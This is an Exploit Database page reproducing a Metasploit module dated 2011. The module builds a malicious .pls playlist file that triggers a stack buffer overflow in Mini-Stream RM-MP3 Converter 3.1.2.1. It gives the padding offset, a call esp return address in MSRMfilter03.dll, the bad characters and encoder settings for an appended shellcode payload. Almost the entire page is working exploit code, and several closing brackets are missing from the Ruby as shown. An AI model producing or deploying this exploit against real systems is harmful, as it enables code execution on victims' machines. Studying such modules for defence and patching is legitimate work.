Mini-stream RM-MP3 Converter 3.1.2.1 – ‘.pls’ Local Stack Buffer Overflow (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2011-11-14
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18113/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',

'Description'=> %q{

This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3

Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim

opens the malicious PLS file.

'License'=> MSF_LICENSE,

'Author' =>

[

'Madjix', # original discovery

'Tiago Henriques',# metasploit module

'James Fitts' # clean ups

'Version'=> '$Revision: $',

'References' =>

[

[ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],

[ 'BID', '34514' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space' => 1500,

'BadChars' => "\x00\x09\x0a",

'DisableNops' => 'True',

'StackAdjustment' => -3500,

'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",

'EncoderType' => Msf::Encoder::Type::AlphanumUpper,

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

'Platform' => 'win',

'Targets'=>

[

'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',

{

'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll

'Offset' => 17417

}

]

'Privileged' => false,

'DisclosureDate' => 'Jul 16 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.','msf.pls']),

], self.class)

end

def exploit

pls ="http://"

pls << rand_text_alpha_upper(target['Offset'])

pls << [target.ret].pack('V')

pls << rand_text_alpha_upper(8)

pls << payload.encoded

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(pls)

end